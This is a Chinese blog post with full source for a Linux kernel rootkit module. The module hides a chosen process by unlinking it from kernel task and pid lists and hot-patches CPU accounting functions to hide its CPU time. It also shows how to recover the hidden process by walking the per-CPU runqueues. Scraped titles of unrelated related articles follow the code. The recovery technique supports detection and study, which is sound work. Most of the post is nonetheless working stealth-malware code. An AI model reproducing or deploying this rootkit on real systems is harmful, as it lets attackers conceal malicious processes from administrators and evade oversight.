在前文中,我展示了一个超级简单的rootkit辅助工具:
https://blog.csdn.net/dog250/article/details/105292504

在这篇文章中,一旦进程被隐藏了,很难恢复。言外之意就是,这是最底层的隐藏,而不是靠hook那些procfs接口之类的方式。

我们已经把进程从链表中摘除,那么该进程便无法被遍历到,如何恢复它呢?换句话说,我自己给自己出了个难题,如果我自己攻击了我自己的机器植入了rootkit,我自己又如何把它揪出来?!

也不难!

虽然进程被从链表摘除了,但它还在运行队列啊!所以我们只需要遍历per cpu的runqueue就可以了。不过这里要记住,如果被隐藏的进程睡眠在某个wait queue上,这种方式就不行了,需要唤醒隐藏进程后再试。

代码如下:

// 以下这些偏移值需要hack得到。
#define CPU_OFFSET      2336
#define CRQ_OFFSET      160
int reshow_process(void)
{struct list_head *list;struct task_struct *p, *n;unsigned long *rq_addr, base_rq;char *tmp;int cpu = smp_processor_id();struct task_struct *task = current;struct pid_link *link = NULL;// 根据current顺藤摸瓜找到本CPU的rqtmp = (char *)task->se.cfs_rq;;rq_addr = (unsigned long *)(tmp + CRQ_OFFSET);tmp = (char *)*rq_addr;// 根据本CPU的rq以及per cpu offset找到基准rq在percpu的偏移cpu = (int)*(int *)(tmp + CPU_OFFSET);base_rq = (unsigned long)tmp - (unsigned long)percpuoff[cpu];task = NULL;for_each_possible_cpu(cpu) {tmp = (char *)(percpuoff[cpu] + base_rq);list = (struct list_head *)&tmp[TASKS_OFFSET];list_for_each_entry_safe(p, n, list, se.group_node) {// 由于我们执行了list_del_init摘除,所以task的tasks必然是自指的list_headif (list_empty(&p->tasks)) {task = p;break;}}if (task) break;}// 进程可能sleep/wait在某个queue,请唤醒它重试if (!task) return 1;// 恢复进程的显示!link = &task->pids[PIDTYPE_PID];hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);list_add_tail_rcu(&task->tasks, &init_task.tasks);return 0;
}

此时只要执行上述代码,被隐藏的进程就又可以从ps的结果中获得了。

完整的代码如下:

#include <linux/module.h>
#include <net/tcp.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/sched.h>
#include <linux/cpu.h>char *stub = NULL;
char *addr_user = NULL;
char *addr_sys = NULL;
unsigned long *percpuoff = NULL;static unsigned int pid = 0;
module_param(pid, int, 0444);static unsigned int hide = 1;
module_param(hide, int, 0444);// stub函数模版
void stub_func_account_time(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{// 先用0x11223344来占位,模块加载的时候通过pid参数来校准if (p->pid == 0x11223344)  {asm ("pop %rbp; pop %r11; retq;");}
}#define FTRACE_SIZE    5
#define POKE_OFFSET     0
#define POKE_LENGTH     5#define RQUEUE_SIZE        2680
#define TASKS_OFFSET    2344
#define CPU_OFFSET      2336void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,unsigned long start, unsigned long end, gfp_t gfp_mask,pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;// 需要额外分配的stub函数
char *hide_account_user_time = NULL;
unsigned char jmp_call[POKE_LENGTH];#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)void hide_process(void)
{struct task_struct *task = NULL;struct pid_link *link = NULL;struct hlist_node *node = NULL;task = pid_task(find_vpid(pid), PIDTYPE_PID);link = &task->pids[PIDTYPE_PID];list_del_rcu(&task->tasks);INIT_LIST_HEAD(&task->tasks);node = &link->node;hlist_del_rcu(node);INIT_HLIST_NODE(node);node->pprev = &node;
}#define CRQ_OFFSET 160
int reshow_process(void)
{struct list_head *list;struct task_struct *p, *n;unsigned long *rq_addr, base_rq;char *tmp;int cpu = smp_processor_id();struct task_struct *task = current;struct pid_link *link = NULL;// 根据current顺藤摸瓜找到本CPU的rqtmp = (char *)task->se.cfs_rq;;rq_addr = (unsigned long *)(tmp + CRQ_OFFSET);tmp = (char *)*rq_addr;// 根据本CPU的rq以及per cpu offset找到基准rq在percpu的偏移cpu = (int)*(int *)(tmp + CPU_OFFSET);base_rq = (unsigned long)tmp - (unsigned long)percpuoff[cpu];task = NULL;for_each_possible_cpu(cpu) {tmp = (char *)(percpuoff[cpu] + base_rq);list = (struct list_head *)&tmp[TASKS_OFFSET];list_for_each_entry_safe(p, n, list, se.group_node) {if (list_empty(&p->tasks)) {task = p;break;}}if (task) break;}// 进程可能sleep/wait在某个queue,请唤醒它重试if (!task) return 1;link = &task->pids[PIDTYPE_PID];hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);list_add_tail_rcu(&task->tasks, &init_task.tasks);return 0;
}static int __init rootkit_init(void)
{// 32位相对跳转偏移s32 offset;// 需要校准的pid指针位置。unsigned int *ppid;addr_user = (void *)kallsyms_lookup_name("account_user_time");addr_sys = (void *)kallsyms_lookup_name("account_system_time");if (!addr_user || !addr_sys) {printk("一切还没有准备好!请先加载sample模块。\n");return -1;}// 必须采用带range的内存分配函数,否则我们无法保证account_user_time可以32位相对跳转过来!___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");_text_mutex = (void *)kallsyms_lookup_name("text_mutex");if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {printk("还没开始,就已经结束。");return -1;}if (hide == 0) {offset = *(unsigned int *)&addr_user[1];stub = (char *)(offset + (unsigned long)addr_user + FTRACE_SIZE);percpuoff = (void *)kallsyms_lookup_name("__per_cpu_offset");if (!percpuoff)return -1;if (reshow_process())return -1;get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&addr_user[POKE_OFFSET], &stub[0], POKE_LENGTH);_text_poke_smp(&addr_sys[POKE_OFFSET], &stub[0], POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();vfree(stub);return -1;}// 为了可以在32位范围内相对跳转,必须在START后分配stub func内存hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,-1, __builtin_return_address(0));if (!hide_account_user_time) {printk("很遗憾,内存不够了\n");return -1;}// 把模版函数拷贝到真正的stub函数中memcpy(hide_account_user_time, stub_func_account_time, 0x25);// 校准pid立即数ppid = (unsigned int *)&hide_account_user_time[12];// 使用立即数来比较pid,不然模块释放掉以后pid参数将不再可读*ppid = pid;stub = (void *)hide_account_user_time;jmp_call[0] = 0xe8;offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);(*(s32 *)(&jmp_call[1])) = offset;get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE);(*(s32 *)(&jmp_call[1])) = offset;get_online_cpus();mutex_lock(_text_mutex);_text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH);mutex_unlock(_text_mutex);put_online_cpus();// 隐藏进程,将其从数据结构中摘除hide_process();// 事了拂衣去,不留痕迹return -1;
}static void __exit rootkit_exit(void)
{// 事了拂衣去了,什么都没有留下,也不必再过问!
}module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");

浙江温州皮鞋湿,下雨进水不会胖。

Linux系统中彻底隐藏你的进程(隐藏后如何恢复显示?)相关推荐

  1. Linux系统中查看LWP(轻量级进程)、进程 、 线程的ID的方法

    现代操作系统中,进程支持多线程 . 进程是分配资源(资源管理)的最小单元:而线程是调度资源(程序执行)的最小单元.Linux中没有真正的线程,线程是由进程来模拟实现的(又称作:轻量级进程). 所以在L ...

  2. 如何停止Linux系统中占用CPU 100%的进程

    linux 很好,占用系统资源低,低端机都可以流畅的运行.但是偶尔也会遇到像windows下烦人的问题,那就是进程占用CPU100%. 最近我就遇到了这个问题,还好,我使用了一套组合拳,把占用CPU资 ...

  3. 在Linux系统中,使用useradd命令新建用户后,登录该用户时shell开头为$,不显示用户名和路径,如下:...

    在~/.bash_profile中加入以下代码,若无该文件可自行创建: Java代码   vi ~/.bash_profile #加入 #export PS1='[u@h W]$' 大写W代表最后路径 ...

  4. linux进程看门狗使用方式,Linux系统中基于看门狗的精细化进程监控方法及系统的制作方法...

    Linux系统中基于看门狗的精细化进程监控方法及系统的制作方法 [技术领域] [0001] 本发明涉及Linux系统的进程监控技术领域,特别是涉及一种Linux系统中基于看 门狗的精细化进程监控方法及 ...

  5. 基于Linux系统中进程调度分析

    本文作者(院 浩),请您在阅读本文时尊重作者版权. [摘要]Linux是一个多用户多任务的操作系统,Linux中实现了对多个进程公平.高效的调度,并不是采用单一的调度策略,而是几种调度策略有机地综合应 ...

  6. Linux系统中网络配置详解

    从linux诞生的那一天起,就注定了它的网络功能空前地强大.所以在linux系统中如何配置网络,使其高效,安全的工作就显得十分重要.下面我们就从网络设备的安装,网络服务的设置和网络安全性三个方面来介绍 ...

  7. 将windows系统主机上的文件拷贝到Linux系统中;将Linux系统中的文件粘贴到Windows主机中

    本篇文章主要实现将windows主机上的文件复制到Linux服务器上,这里为了方便演示,我举例放在C盘中的一个test101.py文件,现在我要将它放在Linux系统的home下的shao目录下. 首 ...

  8. linux 杀掉php,Linux_在Linux系统中使用xkill命令杀掉未响应的进程,我们如何在Linux中杀掉一个资 - phpStudy...

    在Linux系统中使用xkill命令杀掉未响应的进程 我们如何在Linux中杀掉一个资源/进程?很明显我们会找出资源的pid然后用kill命令. 说的更明白一点,我们可以找到某个资源(比如termin ...

  9. LINUX系统中进程如何管理控制(一)

    上篇文章详细介绍了LINUX命令程序通过获取SHELL环境中的数据(此处的数据通常称为环境变量)来输出本机相应的配置数据,从而掌握在LINUX中SHELL环境的搭建技巧.那么,今天,这篇文章主要围绕l ...

  10. mysql隐藏密码_MySQL在Linux系统中隐藏命令行中的密码的方法

    在命令行中输入命令并不是一个好主意,会造成安全问题.但是如果你决定去写一个应用,而这个应用需要在命令行中使用密码或者其他敏感信息.那么,你能通过以下方法禁止系统的其他用户轻易的看到这些敏感数据 呢?, ...

最新文章

  1. matlab 二维线图绘制函数 plot用法参数
  2. 基于AIO的CS聊天室
  3. 窗口分析函数_7_生成指定的分组序号
  4. java map清除值为null的元素_Java中的集合框架大总结
  5. php页面生成html页面显示,把当前显示的动态PHP页面静态化,生成HTML文件
  6. MyBatis直接执行SQL查询及批量插入数据
  7. lvs + keepalived + nginx 实现高可用
  8. [转]iOS设备唯一标识探讨
  9. leetcode —— 数组(1. Two Sum)
  10. java中PrepareStatement使用的一点小问题
  11. 面试评估表和评估指标雷达图(附模板下载)
  12. android之在java代码引用res资源
  13. Cesium-Fullscreen全屏显示
  14. 链家数据爬取+地图找房
  15. GLSL——绘制平面图形(一)
  16. 基于tabular包的Latex表格尺寸设置方法(列宽和行高)
  17. html5视频播放av,7月AHA急救课程报名中!掌握埃里克森心脏骤停的获救技能!!...
  18. zcmu-1930帽子戏法
  19. Java精品项目源码第127期新闻发布网站系统
  20. eToro前高管出任INX首席技术官

热门文章

  1. 财经365独家:基建物业投资路线图
  2. Linux无线网络架构
  3. Web技术基础学②——初步学习CSS
  4. KPS同意约21亿美元巨资收购Garrett全部资产
  5. react 使用 useEffect 及踩坑
  6. python中英文翻译
  7. 邮件标题是邮件营销的第一生产力
  8. 天敏VC4000调试
  9. matlab 复习笔记(基础版)
  10. 最新微信知识付费小程序源码吾爱纯净版+带教程